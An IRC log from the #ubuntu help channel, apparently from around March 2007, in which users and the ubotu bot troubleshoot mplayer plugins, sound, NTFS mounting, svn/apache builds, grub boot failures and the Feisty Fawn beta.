[03:22] <wilberfan> that's just it....it just lays there in the terminal window...
[03:23] <wilberfan> the cursor blinking stupidly at me...  no prompts for anything...
[03:23] <jrib> wilberfan: try the part of the command before the '|'.  Does that work?
[03:23] <kingcobra> can somebody tell me how to update to a newer kernel in ubuntu
[03:24] <wilberfan> jrib  that's what's weird..that part DOES seem to work...
[03:24] <jrib> wilberfan: you sure you didn't forget the '-' at the end of the command?
[03:24] <wilberfan> I pasted from the same copy as you saw...
[03:25] <wilberfan> wait...I just tried it again...  i think it worked that time... [smacks forehead] 
[03:25] <wilberfan> oy....
[03:26] <Ashfire908> of course once i get online i file the file
[03:26] <kev_> im trying to instal ntfs-config through the synaptic thing but i get an errors saying "Depends: libdbus-1-2 (>=0.60) but it is not installable" can anyone help??
[03:26] <wilberfan> anyone know why my mplayer plugin loads, streams to 100% but then just says "stopped"?
[03:26] <Ashfire908> *find the file
[03:26] <jrib> wilberfan: does right click > play  get it to start?
[03:26] <wilberfan> and won't hold a 'configuration'?  (eg, video and audio settings?)
[03:27] <jrib> wilberfan: check permissions on ~/.mplayer/config
[03:27] <wilberfan> I've tried hitting the little 'play' button...but that never works...
[03:27] <ferronica> seikai: i am not gettin what they say about for NTFS3G :(
[03:27] <jrib> wilberfan: hmm that's not the right file, one sec
[03:27] <kingcobra> jrib can u help me when ur finished helping wilberfan please
[03:27] <wilberfan> jrib  ahhhh....  there's a mplayer config file, huh?!
[03:27] <ferronica> seikai: which repository to add
[03:27] <malek> wilberfan: I don't but if you right click on the player and select "copy url" or whatever, you can paste that into a terminal and run mplayer from there.  Often a good workaround.  Usually works...
[03:28] <malek> wilberfan: and you can use -dumpstream too ;-)
[03:28] <jrib> wilberfan: there is a plugin specific one, but I forget the name.  It should be obvious if you look at ~/.mplayer
[03:28] <seikai> ferronica: I'm not sure, I've never done this on ubuntu. I just added the partition to /etc/fstab and made a dir.
[03:28] <Ahorner> i have no sound at all
[03:28] <wilberfan> oh sure... but i'm in that geek-mode where i just want it to work correctly!!   Grrr....
[03:28] <seikai> Then I mounted the directory which points to the partition.
[03:28] <Ahorner> its not muted and my speakers are plugged in
[03:28] <ferronica> seikai: via terminal
[03:28] <seikai> Ya
[03:28] <wilberfan> lemme check that config thing....
[03:28] <wilberfan> brb....
[03:28] <ferronica> seikai: tell me i wiill do from terminal
[03:28] <jrib> kingcobra: what version of ubuntu are you using?
[03:28] <kingcobra> edgy
[03:29] <Ahorner> !tell ferronica about terminal
[03:29] <jrib> wilberfan: ~/.mplayer/mplayerplug-in.conf
[03:29] <larson9999> wilberfan: geeks make things work correctly
[03:29] <seikai> larson9999: Not really.
[03:29] <seikai> Programmers do.
[03:29] <kingcobra> jrib, how do i update to a newer kernel in ubuntu
[03:29] <Ahorner> please help me guys i have no sound at all
[03:30] <larson9999> seikai: oh? being a programmer is a prerequisite for being a geek.
[03:30] <seikai> larson9999: I'm a coder, I'm not a geek.
[03:30] <wilberfan> Ahorner  you running the latest edgy?  cuz I lost my sound after some updates this week...
[03:30] <Ahorner> lol
[03:30] <Ahorner> yup
[03:30] <wilberfan> you know how i fixed it?
[03:30] <Ahorner> i just did updates then reestarted and no sound
[03:31] <jrib> kingcobra: if you have linux-image-generic  (if you use the generic kernel) it will fetch you the latest kernel in the repositories.  If you need a more recent one then  you would have to compile it on your own
[03:31] <AaronMT> acpi=off
[03:31] <Ahorner> how
[03:31] <AaronMT> !acpi=off
[03:31] <wilberfan> Ahorner: exactly....
[03:31] <ubotu> Sorry, I don't know anything about acpi=off - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:31] <larson9999> seikai: i said being a programmer is a prerequisite for being a geek.  not the other way around.
[03:31] <Crazytom> !mp3
[03:31] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[03:31] <wilberfan> there are several posts in the forum about that...  (but no solutions)
[03:31] <kingcobra> jrib, is complicated
[03:31] <Ahorner> !sound
[03:31] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[03:31] <kev_> !libdbus-1-2
[03:31] <wilberfan> Ahorner: i fixed it by installing feisty!!  LOL!
[03:31] <ubotu> Sorry, I don't know anything about libdbus-1-2 - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:31] <ferronica> Ahorner: where is command to mount Window partititon :(
[03:31] <Ahorner> feisty?
[03:32] <kingcobra> jrib, how wud i compile it
[03:32] <seikai> larson9999: That's even worse.
[03:32] <Ahorner> !feisty
[03:32] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[03:32] <kev_> im trying to instal ntfs-config through the synaptic thing but i get an errors saying "Depends: libdbus-1-2 (>=0.60) but it is not installable" can anyone help??
[03:32] <seikai> I know geeks that don't code.
[03:32] <jrib> kingcobra: why do you need a more recent kernel or are you just interested for the sake of learning?
[03:32] <Ahorner> mound window partition?
[03:32] <wilberfan> Ahorner    feisty is the newest ubuntu...  due out officially in a month....
[03:32] <Ahorner> um
[03:32] <Ahorner> is there an easy fix except installing fiesty?
[03:32] <wilberfan> not that I've found yet.....
[03:33] <Ahorner> aww
[03:33] <Ahorner> !fiesty
[03:33] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[03:33] <kingcobra> jrib, just 4 learning mainly i suppose yes
[03:33] <wilberfan> (unless you wanna wait for an update to whatever it was that broke it in the first place...)?
[03:33] <jrib> !kernel > kingcobra    (kingcobra, see the private message from ubotu)
[03:33] <Crazytom> i've installed feisty twice this morning
[03:33] <kingcobra> jrib, thanx
[03:33] <seikai> !kernel
[03:33] <ubotu> kernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild
[03:33] <wilberfan> welcome to the club, Crazytom!
[03:33] <Ahorner> is there a place to uninstall the updates?
[03:33] <Crazytom> on the same laptop, i accidentally broke it
[03:33] <Ahorner> !uninstall
[03:33] <wilberfan> I've installed it, like, 6 times in the last 5 days!!
[03:33] <ubotu> Sorry, I don't know anything about uninstall - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:33] <Ahorner> wow
[03:34] <Ahorner> hmm
[03:34] <Ahorner> !program
[03:34] <ubotu> Sorry, I don't know anything about program - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:34] <kev_> !ubotu
[03:34] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[03:34] <Krazytekn0> does fiesty work OK with AMD64?
[03:34] <bulmer> what is the technique to have two versions of a package installed? ie two clients of freenNX without them overwriting each others dirs and configs...dpkg has option for this?
[03:34] <Krazytekn0> or should I go 32bit
[03:34] <Ahorner> go 64
[03:34] <wilberfan> jrib: any idea where I should start looking for that .mplayer/config file...?
[03:34] <Ahorner> !64bit
[03:34] <ubotu> AMD64 and EMT64 are fully supported architectures on Ubuntu. See http://tinyurl.com/jv6tc for more information.
[03:35] <Ahorner> viola
[03:35] <Crazytom> i had everything working even kismet and when i rebooted it would just hang at the blackscreen right before x started with a spinning dot mouse pointer
[03:35] <wilberfan> (I went 64-bit with Feisty...()
[03:35] <wilberfan> :)
[03:35] <Crazytom> any ideas what i did so i don't do it again?
[03:35] <kingcobra> jrib, wud the latest stable kernel not be the best 1 to use
[03:35] <pibarnas> I got many troubles with 64 bits with Edgy....
[03:35] <spuck> Ok now I finally got into the livecd, tried to play a video in that experience ubuntu folder, then everything froze. :/ seems this distribution doesn't like me. :( What can be the reason for this crash/freeze?
[03:35] <pibarnas> It's hard to configure.
[03:35] <robdeman> hi folks -- just installed Ubuntu 6.10 Server -- im in terminal but the network doesnt work.. how can I get my network up and running?
[03:35] <Mathias> I've tried Feisty with 64-bit but can't start it correctly, so I use Feisty 32-bit
[03:36] <Krazytekn0> is it possible to install ubuntu over opensuse and keep my /home
[03:36] <Krazytekn0> ?
[03:36] <quaal_mac> spuck: that gives not much detail
[03:36] <wilberfan> 64-bit edgy was problematic for me...but the feisty is workin' purty good!
[03:36] <jrib> wilberfan: ~/.mplayer/mplayerplug-in.conf   where ~ is /home/USERNAME.  But it will only exist if you change configuration options.  You should c heck the permissions on ~/.mplayer/ and ~/.mplayer/mplayerplug-in.conf if it exists
[03:36] <Ahorner> is there an equivilent to winblows restore for edgy?
[03:36] <quaal_mac> spuck, dmesg | tail is often helpful.
[03:36] <pibarnas> Krazytekn0 it depends on your partition scheme.
[03:36] <wilberfan> jrib: thanks...lemme go check....
[03:36] <jrib> kingcobra: not really, the one in the repositories is the best because it will automatically receive security updates
[03:36] <bulmer> spuck: umm too slow of a cdrom player so by the time it needs a library from cdrom it freezes?
[03:36] <spuck> quaal_mac well i could try it it doesn't freeze again
[03:37] <Ahorner> !updates
[03:37] <ubotu> Sorry, I don't know anything about updates - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:37] <Ahorner> !uodate
[03:37] <Krazytekn0> pibarnas can you elaborate?
[03:37] <Ahorner> !update
[03:37] <ubotu> Sorry, I don't know anything about uodate - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:37] <ubotu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[03:37] <kingcobra> jrib, why wud the newest one not automatically receive security updates
[03:37] <Ahorner> is there a way to uninstall updates?
[03:37] <wilberfan> jrib: no .mplayer folder in /home/wilberfan/
[03:37] <spuck> bulmer could be so, would I still be able to install ubuntu?
[03:38] <jrib> wilberfan: run mplayer once
[03:38] <pibarnas> Krazytekn0 well, if you hava a own /home, I mean a divided one from / on your scheme partition...
[03:38] <wilberfan> it's the plugin, remember....
[03:38] <robdeman> is there any commandline/terminal tool to reconfigure the network interfaces?
[03:38] <jrib> wilberfan: yes, but you should have the player installed as well
[03:38] <robdeman> some kind of autodetect util like the installer uses?
[03:38] <wilberfan> hmmmm.....
[03:38] <wilberfan> lemme check that...
[03:38] <pibarnas> Krazytekn0 and in ubuntu installation you don't format it, but put it as /home in the new partition scheme...
[03:39] <Krazytekn0> pibarnas, ok so I would just rewrite the / part and others but not /home
[03:39] <wilberfan> "mplayer" command not found"   :-O
[03:39] <pibarnas> Krazytekn0 it might work, yeah.
[03:39] <wilberfan> lemme make sure the bas-tad is even installed...
[03:39] <Krazytekn0> pibarnas thanks, I don't know why I even had to ask about it now that you explained
[03:39] <Krazytekn0> :P
[03:39] <ferronica> Ahorner: help
[03:39] <jrib> kingcobra: well only the packages in teh ubuntu repositories will receive security updates from the ubuntu team.  So you will automatically get told that you need to update your kernel.  If you compile it yourself, you'll have to watch out for that and recompile when you want to add updates
[03:39] <pibarnas> Krazytekn0 I think so. I have here /, /home anda /data, just waiting for Feisty... :)
[03:39] <ferronica> Ahorner: i am not gettin how to mount
[03:40] <wilberfan> jrib: yeah...synaptic says it is....  hmmm....
[03:40] <Ahorner> i dont know how
[03:40] <Ahorner> !mp3
[03:40] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[03:40] <jrib> wilberfan: just typing 'mplayer' should work I think... or 'mplayer /path/to/some/media/file'
[03:40] <Krazytekn0> pibarnas, I'm gonna try the beta out cause openSuse is really making me mad lately
[03:40] <bulmer> spuck: i thnk you will still be able to install, but why not reboot on same liveCD and then start a fresh install instead of after a crash
[03:40] <Krazytekn0> later all thanks for the help
[03:41] <pibarnas> Krazytekn0 why don't you try the stable?
[03:41] <aeroplane> Hello, can anyone tell me if it is possible to upgrade my gnome version in Edgy Eft? Or do I have to wait until Feisty is out?
[03:41] <SurfPunk> I'm haveing sound problems
[03:41] <wilberfan> jrib... yeah...synaptic says it's installed...but I don't see it in the menu, and 'mplayer' isn't working from the command line....
[03:41] <jrib> wilberfan: what does it say
[03:41] <pibarnas> Krazytekn0 if you want to avoid getting mad... ;)
[03:41] <ferronica> Ahorner: any one tell me how to mount window HDD
[03:41] <bullgard4> Gnome Menue Locations > Network > (Network -- File-Browser) of my first computer 'MD97600' in the LAN lists 3 entries: 'Windows Network', 'Amilo7600' and 'MD97600'. The same command put into the 2nd computer lists only 'Windows Network'. Why?
[03:41] <kingcobra> jrib, ok i understand more now thanx
[03:42] <wilberfan> "The program 'mplayer' can be found in the following packages: ... etc
[03:42] <spuck> quaal_mac so what is this "dmesg | tail" supposed to tell me?
[03:42] <pibarnas> Krazytekn0 I still don't dare to try Feisty until its release.
[03:42] <jrib> wilberfan: what version of ubuntu are you using?
[03:42] <wilberfan> latest feisty....
[03:42] <sdfadsf> hey
[03:42] <shafto> Guys, is there anyway to make totem play wmvs from a website link? Where they start embedded in webpages?
[03:42] <xtknight> !hi
[03:42] <ubotu> Hi! Welcome to #ubuntu!
[03:42] <jrib> wilberfan: ok... well i guess this isn't really feisty-specific... reinstall the mplayer package
[03:43] <xtknight> shafto: mplayer mozilla plugin, in repositories i think
[03:43] <dumezil> are there any msn clients that support voice/video chat for ubuntu/linux in general?
[03:43] <wilberfan> jrib  shall I UNinstall it first... or just do a RE-install?
[03:43] <xtknight> shafto: depends though, wmv9/wma3 dont work so well, especially on 64bit
[03:43] <pibarnas> ferronica hi ferronica!
[03:43] <shafto> xtknight, do i need mplayer installed too?
[03:43] <whonicca> does nautilus have a certain cache limit, like for displaying movies as thumbnails
[03:43] <jrib> wilberfan: actually, check if /usr/bin/mplayer works
[03:43] <sdfadsf> i have a problem booting ubuntu from cd live ...i have a disk error 20
[03:43] <SurfPunk> what kind of soundcard is the best lol
[03:43] <ferronica> pibarnas: hi
[03:43] <sdfadsf> something like that
[03:43] <whonicca> cause after a couple days of having my system running the avis and such dont show as thumbnails
[03:43] <sdfadsf> can anyone help me?
[03:43] <xtknight> SurfnKid: audigy 2 zs prolly
[03:43] <xtknight> shafto: probably, just install mozilla-mplayer
[03:43] <pibarnas> ferronica do you still have a windows hdd?
[03:43] <wilberfan> "no such file or directory"
[03:43] <whonicca> when i restart they show again as thumbnails
[03:43] <ferronica> pibarnas: i am trying to mount my windows partition
[03:44] <jrib> wilberfan: sudo aptitude reinstall mplayer
[03:44] <pibarnas> ferronica is it a dual boot system?
[03:44] <aeroplane> How would I upgrade to gnome 2.18 while still in edgy eft?
[03:44] <quaal_mac> is there any way to get to grub.lst when you boot up and get /bin/sh: can't access tty; job control turned off
[03:44] <jrib> aeroplane: it's best to wait until feisty is released
[03:44] <kelnoky_> how can I directly start the gnome thing for editing the keyboard shortcuts? cause I am in fluxbox atm
[03:44] <quaal_mac> other than a livecd ?
[03:44] <xtknight> aeroplane: you shouldn't, but either find a deb of it someone else has compiled or compile it your self
[03:44] <ferronica> pibarnas: No i  have 3 HDD
[03:44] <whonicca> also my friends mplayer takes longer than usual to load, any fix to that? use to work fine
[03:44] <ferronica> pibarnas: two SATA and ONE PATA
[03:44] <pibarnas> ferronica ahhh and which is the one with windows in?
[03:44] <ferronica> pibarnas: In PATA ubuntu
[03:45] <SurfPunk> is my test to big or wat
[03:45] <SurfPunk> lol
[03:45] <ferronica> pibarnas: window SATA
[03:45] <aeroplane> oay, thanks.
[03:45] <pibarnas> ferronica is it recognized in boot? do you know it?
[03:45] <ferronica> pibarnas: Another SATA is only for DATA and songs :)
[03:45] <wilberfan> jrib   ok  better results this time...
[03:45] <wilberfan> mplayer is in the menu now...and opens....
[03:45] <pibarnas> ferronica clever... I have something similar here too...
[03:45] <ferronica> pibarnas: ubuntu showing me HDD but i cant access it :(
[03:45] <wilberfan> lemme go find that config file....
[03:46] <shafto> xtknight, but how do i stop totem from trying to play um?
[03:46] <ferronica> pibarnas: LOL :)
[03:46] <xtknight> shafto: oh, i have no idea
[03:46] <xtknight> shafto: it opens in an external window?
[03:46] <quaal_mac> other than using a livecd, is there any way to get to grub.lst when you boot up and get /bin/sh: can't access tty; job control turned off
[03:46] <ferronica> pibarnas: you too Clever ; )
[03:46] <mEck0> Are anyone here running Feisty? I need some helop
[03:46] <xtknight> mEck0: #ubuntu+1
[03:46] <shafto> xtknight, no the ones that embedded, say on bbc news
[03:46] <xtknight> quaal_mac: um dunno, are you implying you're trying to fix the 'job control' problem?  if so how?
[03:46] <ferronica> pibarnas: Have you mounted the window
[03:47] <xtknight> shafto: yeah i know but are the embedded ones spawning external totem windows in order to play?
[03:47] <ferronica> pibarnas: If yes tell me too how to mount
[03:47] <wilberfan> jrib  it says I'm the owner of that config file...  lemme go test the plugin...
[03:47] <mEck0> xtknight, what does that mean? should I join that channel?
[03:47] <xtknight> mEck0: yes
[03:47] <c0kr0_JACKPOT> hi
[03:47] <mEck0> xtknight, ok, thx
[03:47] <shafto> xtknight, no
[03:47] <pibarnas> ferronica maybe you can post in pastebin.ca your "dmesg | less"
[03:47] <TwinX> any wiki about  installing webcam?
[03:47] <Student> Why can't ubuntu obtain/renew a DHCP lease?
[03:47] <ferronica> pibarnas: what ???
[03:48] <xtknight> shafto: ok, what is the 'totem' you speak of?  it is using totem embedded instead of mplayer embedded you mean?
[03:48] <JN_Coward> I had subversion installed then removed it with dpkg --purge subversion and built a newer version from source. Now I get svn: Mismatched RA version for 'http': found 1.4.0, expected 1.3.1 :(
[03:48] <ctothej> How can I record an action/script in Gimp and run it on many different images?
[03:48] <spuck> Well now the livecd install froze when using partition manager. So how about this? Why would these random crashes happen in ubuntu install and not in my gentoo system? :S
[03:48] <xtknight> JN_Coward: well whatever svn you installed is probably too new
[03:48] <pibarnas> ferronica do this: open a terminal, put this command dmesg | less > arq1 and press enter.
[03:48] <JN_Coward> xtknight, how can it be too new?
[03:48] <wilberfan> jrib   DUUUUUUUUDE!!!  It worked!!!!
[03:48] <xtknight> JN_Coward: i recommend installing them side-by-side, one in /usr one in /usr/local/ and finding a way to execute the correct one at the correct time
[03:48] <xtknight> JN_Coward: i duynno, just a guess
[03:48] <jrib> wilberfan: great
[03:48] <JN_Coward> :(
[03:48] <wilberfan> [ bowing before jrib ] 
[03:48] <pibarnas> ferronica then go to www.pastebin.ca
[03:49] <shafto> xtknight, totem is the standard movie player
[03:49] <wilberfan> jrib   what do I owe ya?   my first-born?
[03:49] <winux> can i install kde icons on gnome?
[03:49] <pibarnas> ferronica copy the content of arq1 to www.pastebin.ca
[03:49] <wilberfan> [ doin' a happy dance ] 
[03:49] <xtknight> shafto: *pulls hair out*  yeah i know that :P   but you are saying totem is trying to play them instead of mplayer?  what do you want to happen?
[03:49] <ferronica> pibarnas: i pasted the command nothing showed me :(
[03:49] <Student> How can I see my DHCP lease obtain and expire dates on Ubuntu?
[03:49] <pibarnas> ferronica post it and send me the url to me to procede
[03:50] <shafto> xtknight, Ohh sorry, yeah thats right, but they never work, so i want mplayer to play um instead
[03:50] <ferronica> pibarnas: i pasted  "dmesg | less > arq1"  this command  nothing happend
[03:50] <pibarnas> ferronica it does... see if is there arq1...
[03:50] <JN_Coward> xtknight, the only reason I compiled from source is to get mod_dav_svn, could I use subversion from package and still keep the mod_dav_svn?
[03:50] <xtknight> shafto: oh ok.  well remove totem's browser plugin somehow perhaps, it would be in /usr/lib/firefox/plugins or ~/.mozilla/plugins
[03:50] <Flice> hi
[03:50] <spuck> Well now the livecd install froze when using partition manager. So how about this? Why would these random crashes happen in ubuntu install and not in my gentoo system? :S
[03:50] <xtknight> shafto: actualyl just remove totem-mozilla pkg
[03:50] <aeroplane> How do i send a message to one person specifically?
[03:50] <xtknight> JN_Coward: what'd mod dav svn?
[03:51] <SwordRaven> could anyone help me out with display driver problems? I'm currently using the vesa drivers so the text scrolling is unreadable, so if someone could PM me that would be brill
[03:51] <SwordRaven> cheers
[03:51] <pibarnas> ferronica is it there?
[03:51] <jrib> aeroplane: /msg PERSON MESSAGE   ask for permission first
[03:51] <ferronica> pibarnas: no
[03:51] <xtknight> JN_Coward: what is mod_dav_svn?*  some apache module?
[03:51] <JN_Coward> xtknight, for apache 2.2
[03:51] <JN_Coward> xtknight, yes
[03:51] <xtknight> JN_Coward: ok why did you need a newer svn to get that?
[03:52] <pibarnas> ferronica so you did something wrong... the command is dmesg | less > arq1
[03:52] <quaal_mac> xtknight, yes, i am implying that. i believe it is a problem with grub trying to mount the wrong partition.
[03:52] <JN_Coward> xtknight apache 2.2 is not in the repositories, which means you have to compile from source, if you do that the only way to get mod_dav_svn is to compile subversion from source
[03:52] <Flice> I'm having slow download speeds (100-600 kbps) over CIFS in Feisty over a gigabit connection. Upload speeds are ok. It used to work fine in Edgy. Any help would be appreciated.
[03:52] <pibarnas> ferronica then do an ls arq1
[03:52] <quaal_mac> xtknight, but i have no access to /boot when it starts with this no job control nonsense
[03:52] <xtknight> quaal_mac: i would say it's a much deeper problem as it has stumped many a perosn here and nobody knows how to fix it.  i just wondered as we are desperate for solutions on the job control tty thing.  doesn't it open up a mini shell at that stage?
[03:53] <Lapbottom> There was supposed to be a CODEC manager in 7.04 but I cant find it
[03:53] <kev_> !noempty
[03:53] <ubotu> Sorry, I don't know anything about noempty - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:53] <quaal_mac> xtknight, yea. something like that
[03:53] <xtknight> JN_Coward: ok so apache requires this new version of svn?  or it just requires svn dev libs?  because you should be able to get svn dev libs for the current svn..
[03:53] <xtknight> JN_Coward: just probing for the best way to do this
[03:53] <quaal_mac> xtknight, its some initramfs shell
[03:53] <xtknight> quaal_mac: busybox?
[03:53] <ferronica> pibarnas: noit showed me arql
[03:54] <quaal_mac> xtknight, it was just booting fine yesterday, i'm pretty certain it has to do with grub
[03:54] <JN_Coward> xtknight, the only thing I need in apache is mod_dav_svn, the version of it doesn't matter
[03:54] <xtknight> quaal_mac: ahh ok.  well i think it's in some single user mode,  did you try mounting partitions?
[03:54] <quaal_mac> xtknight, ctrl-alt-F1 gives me mount: mounting /dev/hdc1 on /root failed: invalid argument
[03:54] <xtknight> quaal_mac: what about by specifiying fs type?  it might be more picky in that mode
[03:54] <quaal_mac> so.. its like it moved
[03:54] <JN_Coward> xtknight, so if I'd compiled the same version of svn there probably wouldn't be a problem
[03:54] <Lapbottom> There was supposed to be a CODEC manager in 7.04 but I cant find it
[03:54] <quaal_mac> i've switched around raid controllers and what not
[03:54] <ferronica> pibarnas: ?????
[03:54] <xtknight> JN_Coward: i see what you mean i think
[03:54] <xtknight> JN_Coward: well you can always compile the older version now :P
[03:55] <jrib> Lapbottom: #ubuntu+1 for feisty help
[03:55] <pibarnas> ferronica something went wrong... is about the command your doiing...
[03:55] <quaal_mac> xtknight, is there any way to access /boot/grub/grub.lst from initramfs
[03:55] <xtknight> JN_Coward: where do you get that error msg?  by trying to do an SVN checkout from http source?
[03:55] <Lapbottom> You have to reinstall
[03:55] <xtknight> quaal_mac: umm no im afraid now
[03:55] <xtknight> quaal_mac: afraid not **
[03:55] <quaal_mac> damn
[03:55] <ferronica> pibarnas: ok  give me first command to paste in terminal
[03:56] <quaal_mac> and i dont have my ubuntu cd on me
[03:56] <JN_Coward> xtknight: yes exactly, I also get it when I do svn --version and some other commands, some of them work fine though like svn info and svn status
[03:56] <xtknight> quaal_mac: i dont know, if mount doesnt work then no there isn't a way.  unless 'grub' works in which case you could if there is some text editro in grub.
[03:56] <xtknight> quaal_mac: why dont you modify the gurb cmd line on bootup?
[03:56] <pibarnas> dmesg | less > file
[03:56] <Flice> I'm experiencing dog-slow CIFS download speed in Feisty. Any help would be appreciated...
[03:56] <xtknight> JN_Coward: well are all the svn components intact?
[03:56] <quaal_mac> xtknight, how do i do that
[03:56] <ferronica> pibarnas: ok pasted and hit enter
[03:57] <ferronica> pibarnas: now
[03:57] <SwordRaven> I get: Not loading fglrx module; not used in /etc/X11/xorg.conf from sudo modprobe fglrx which I assume means it's properly installed but when I edit xorg.conf and restart X it all goes to hell :(
[03:57] <xtknight> JN_Coward: compile the fresh new svn with everything enabled and then try executing it via /usr/bin/ directly or where ever it installs itself
[03:57] <JN_Coward> xtknight: I don't know, some googling indicated that the problem lies in not all dependencies being built correctly or something
[03:57] <quaal_mac> xtknight, by the way yes it says busybox v1.1.3 built-in shell
[03:57] <xtknight> quaal_mac: bahh i dont know, i dont think grub has a text editor i was just letting my mind run wild there
[03:57] <Lapbottom> You have to reinstall
[03:57] <ferronica> pibarnas: next command
[03:57] <JN_Coward> xtknight: just reinstalled svn via apt-get and it works fine :S
[03:57] <quaal_mac> Lapbottom, wrong answer.
[03:57] <xtknight> quaal_mac: well with busybox you should be able to mount stuff.  if it has your HD controller modules loaded and stuff
[03:57] <Ashfire908> hi
[03:57] <xtknight> JN_Coward: ah ok
[03:58] <JN_Coward> xtknight: need to check though that it doesn't screw up apache
[03:58] <ferronica> pibarnas: next command
[03:58] <Lapbottom> Install Feisty 7.04
[03:58] <Dzany> Hello all! Is there any way to set up intel 536ep modem under 6.10 64???
[03:58] <pibarnas> pick the content of the "file" (it may be on your home) and put on www.pastebin.ca, then send me the url (after posting it of course).
[03:58] <xtknight> JN_Coward: well apache probably statically linked itself with the new svn, meaning no damage.  not sure about that but that's one possible way it could have used the new svn
[03:58] <Hucha> hi
[03:59] <Hucha> ubuntu and xp ??
[03:59] <Lapbottom> upgrade to 7.04
[03:59] <jackson3246> if I install feisty beta now will the upgrade to release break anything?
[03:59] <JN_Coward> xtknight, now I only need to get the right version of svn into the path :S
[03:59] <Lapbottom> nope
[03:59] <Dzany> kubuntu
[03:59] <PriceChild> !feisty
[03:59] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[03:59] <quaal_mac> damn
[03:59] <xtknight> JN_Coward: symlink an 'svn' to whichever you want
[03:59] <ferronica> pibarnas: ?????
[03:59] <quaal_mac> windows must have corrupted my shit
[03:59] <PriceChild> jackson3246, you are not recommended to upgrade  yet!
[03:59] <xtknight> JN_Coward: sorta like gcc. gcc is symlinked to gcc-4.1 or gcc-3.3, youu can set it up like that
[03:59] <Lapbottom> its stable.
[04:00] <jackson3246> PriceChild: I know. I have a free partition for testing. I was just wondering if I'd want to reinstall when it comes out
[04:00] <PriceChild> Lapbottom, feisty is NOT stable
[04:00] <PriceChild> Lapbottom, it is in beta
[04:00] <JN_Coward> xtknight, ahh clever
[04:00] <Comatose67> edgy detects my mp3 player 'creative zen microphoto' as a camera and won't allow me to manage my files...creative support doesn't provide any help for linux...does anyone know a fix?
[04:00] <pibarnas> ferronica pick the content of the "file" (it may be on your home) and put on www.pastebin.ca, then send me the url (after posting it of course).
[04:00] <PriceChild> jackson3246, upgrades should work fine if you haven't used dodgy repos
[04:00] <Hucha> comatose67 i knw how to
[04:00] <jackson3246> PriceChild: excellent. thank you
[04:00] <Lapbottom> PriceChild:  theoretically its not stable, but it is.
[04:00] <Lapbottom> Its the most stable beta Ive ever seen
[04:01] <Comatose67> Hucha how can i do this
[04:01] <Lapbottom> (its stable)
[04:01] <PriceChild> Lapbottom, best we don't suggest upgrading to feisty to users in #ubuntu ;)
[04:01] <Lapbottom> oh I see, policy
[04:01] <xtknight> JN_Coward: you could just save yourself all the trouble, nuke all the svn stuff on there right now, including the apache compile.  then grab a full tarball version of whatever SVN version that works, recompile apache against that and then you'd have everything consistent...sounds like a lot of sweeping changes i know but you can do it :P
[04:01] <ferronica> pibarnas: yes
[04:01] <Lapbottom> but imo its very stable
[04:01] <Hucha> u shld write the drivers
[04:01] <Hucha> u get online scr
[04:01] <Hucha> dlod and complie
[04:01] <wilberfan> Lapbottom: you talkin' about feisty?
[04:01] <pibarnas> ferronica okay?
[04:01] <xtknight> JN_Coward: btw for Ubuntu always compile with --prefix=/usr   then it should put stuff in the path ubuntu is always uesd to
[04:01] <Lapbottom> yuyp
[04:02] <Lapbottom> yup
[04:02] <JN_Coward> xtknight: I could, but I've been fighting with getting apache to run for a few days now, nuking it now terrifies me :(
[04:02] <xtknight> JN_Coward: unless you're doing side-by-side in which case /usr/local/ ...
[04:02] <wilberfan> Lapbottom: yeah..it's awesome...  running better than edgy was!
[04:02] <xtknight> JN_Coward: ehh alright :P
[04:02] <wilberfan> and it's FAST (running the 64-bit)
[04:02] <sdfadsf> Hey i have this problem with ubuntu when i try to use it ..it shows me  Disk error 20 ax=4200 drive Ef
[04:02] <sdfadsf> does any1 know y is this happening?
[04:02] <Ezdo> Hi, I am having problems getting my USB Wireless Adapter to work on Ubuntu 6.10. It is a US Robotics model, 5420 to be precise. I have tried two ways of getting it to work - first with the ndiswrapper packages and then with a package called DriverLoader. DriverLoader comes closer to working, but still fails to recognise that my adapter is plugged in. Does anyone have any suggestions or advice? Lol, my longest message ever :p
[04:02] <wilberfan> it's givin' me a little digital chubby, i'll tell ya...
[04:02] <Lapbottom> yup
[04:02] <Hucha> Comatose67  come to private chat ill tell u how
[04:02] <Lapbottom> lol
[04:02] <Lapbottom> half a chub?
